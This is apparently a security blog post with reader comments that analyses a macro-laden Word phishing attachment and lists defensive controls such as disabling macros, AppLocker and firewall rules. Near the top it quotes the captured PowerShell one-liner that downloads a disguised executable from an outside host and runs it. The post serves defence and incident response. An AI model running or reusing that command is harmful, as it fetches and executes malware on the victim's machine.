Mapping Attack Methodology to Controls
Recently we’ve seen lots of malicious documents make it through our first protection layers. (https://www.virustotal.com/en/file/79ff976c5ca6025f3bb90ddfa7298286217c21309c897e6b530603d48dea0369/analysis/) . In the last week, these emails have a word document that spawns a command shell that kicks off a PowerShell script. When working incidents, it is important to map out the attacker lifecycle to determine where to improve your defenses.
In this case the execution chain looks like this: Email ->Word Doc -> Cmd.exe ->powershell ->Malware.exe
When the user clicks on the attachment it runs a macro that then kicks off a command shell that runs the following:
cmd /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.tessaban.com/images/images/gfjfgklmslifdsfnln.png','%TMP%\scsnsys.exe');Start-process '%TMP%\scsnsys.exe';
When looking at how PowerShell makes the web connection, nothing special happens on the network. Powershell doesn’t have a user-agent string, so this makes it hard to profile on something simple.
GET /images/images/gfjfgklmslifdsfnln.pngHTTP/1.1
Host: www.tessaban.com
Connection: Keep-Alive
So let's map out controls we can put in place to prevent the attack lifecycle.
- Stopping delivery of the message (In order of $ and Complexity)
- Hold attachment for X number of hours so AV my catch up
- Convert file to another type (e.g. Word -> PDF)
- Mangle the macro in the file before delivery
- Sandbox the attachment before delivery
- Preventing Macros from running
- Disable macros via GPO
- Block users from Cmd.exe
- Use an Applocker policy to block cmd.exe
- Prevent Powershell from running unsigned scripts
- Lots of ways to bypass
- Prevent download of malware
- Use sinkhole/proxy ect.
- Prevent malware from running in the drop location ( C:\Users\me\AppData\Local\Temp\scsnsys.exe)
- Applocker
Now by looking at this list you can determine what make sense in your environment due to technical or political issues. This exercise will have you prepared to answer the questions, how can we prevent this in the future. I also like to add a simple level of effort required to implement these changes (e.g. ~10hrs) and costs (e.g. $$$).
--
Tom Webb
@twsecblog
Comments
1. Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files.
2. Firewall policy: Don't allow MS office executable, wscript.exe, cscript.exe, mshta.exe and powershell.exe to communicate with external internet addresses.
Anonymous
Nov 23rd 2016
8 years ago
Is it obvious that the PNG has code in it when looking at it in Wireshark? (Can you please post what the HEX would look like in Wireshark?)
If it is not visible in Wireshark or Fiddler (to decode it), how do we find it?
Thank you.
Anonymous
Nov 23rd 2016
8 years ago
Doesn't this fact actually make it easier to profile for it? Any legitimate browser or download tool HAS a valid agent string..
Anonymous
Nov 23rd 2016
8 years ago
Anonymous
Nov 23rd 2016
8 years ago
Anonymous
Nov 23rd 2016
8 years ago
One of my co-workers thinks that you can modify the MZ in the header, so it looks like something other than an executable, and still run the .exe. I think this would not work.
Thoughts?
Anonymous
Nov 23rd 2016
8 years ago
2. Disable macros via GPO
3. Block users from Cmd.exe
1. Use an Applocker policy to block cmd.exe
...
6. Prevent malware from running in the drop location ( C:\Users\me\AppData\Local\Temp\scsnsys.exe)
1. Applocker
[/quote]
Ad 2.
a) the default setting of Microsoft Office already disables macros from untrusted sources.
b) not all Windows users have an AD to deploy GPOs; every Windows user but can set the respective registry entries.
Ad 3.
a) AppLocker alias SRPv2 is available in FEW editions of Windows only; SAFER alias SRPv1 is but available in ALL editions.
b) you actually don't need either: just set
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
"DisableCMD"=dword:01 ; see MSKB 2704811
Ad 6.
a) use SAFER instead of AppLocker, and deny execution in %USERPROFILE% and below, not just %TEMP%.
b) add the NTFS ACE "(D;OIIO;WP;;;WD)" meaning "deny execution of files in this directory and its subdirectories" to every user profile, including %ALLUSERSPROFILE%, %PUBLIC% and %ProgramData%.
Anonymous
Nov 24th 2016
8 years ago
Can you implement this policy using AppLocker (Executable Rules)? Can you point to any references to help write this rule?
Anonymous
Nov 25th 2016
8 years ago
Can you implement this policy using AppLocker (Executable Rules)? [/quote]
NO!
#1: AppLocker controls execution of files, not their creation.
See https://technet.microsoft.com/en-us/library/dd759068.aspx for the rule conditions supported by AppLocker.
#2: File creation is controlled via NTFS access control lists.
This is but independent from the writing application, the files name and its content.
If you want to implement such a policy: write your own AppCert.dll (available since Windows 2000). These export a single function
NTSTATUS NTAPI CreateProcessNotify(LPCWSTR, DWORD)
which is called whenever a process wants to create a new process.
The first argument holds the pathname of the new process, the second argument one of the reasons QUERY = 1L (before process creation), ALLOWED = 2L or DENIED = 3L (in response to the result from QUERY).
Upon call with reason QUERY = 1L the function returns STATUS_SUCCESS = 0L to allow process creation or any NTSTATUS failure (like STATUS_UNSUCCESSFUL = 0xC0000001L or STATUS_ACCESS_DENIED = 0xC0000022L) to deny process creation.
Register your DLL(s) in the following key:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls]
"AppCert.Dll"="<fullpath>\AppCert.Dll"
...
These DLL(s) are loaded into a user process at the first call of one of the CreateProcess*() functions and their counterparts in NTDLL, and are all called in succession. Only if all of them return STATUS_SUCCESS execution is allowed.
Anonymous
Nov 27th 2016
8 years ago
>>> How to achieve this .I know that you can stop a process from execution but how to stop it from dropping such files .Can you please share sample screenshot.
2. Firewall policy: Don't allow MS office executable, wscript.exe, cscript.exe, mshta.exe and powershell.exe to communicate with external internet addresses.
>>> How to achieve this .Can you please share sample screenshot.
Anonymous
Mar 1st 2017
7 years ago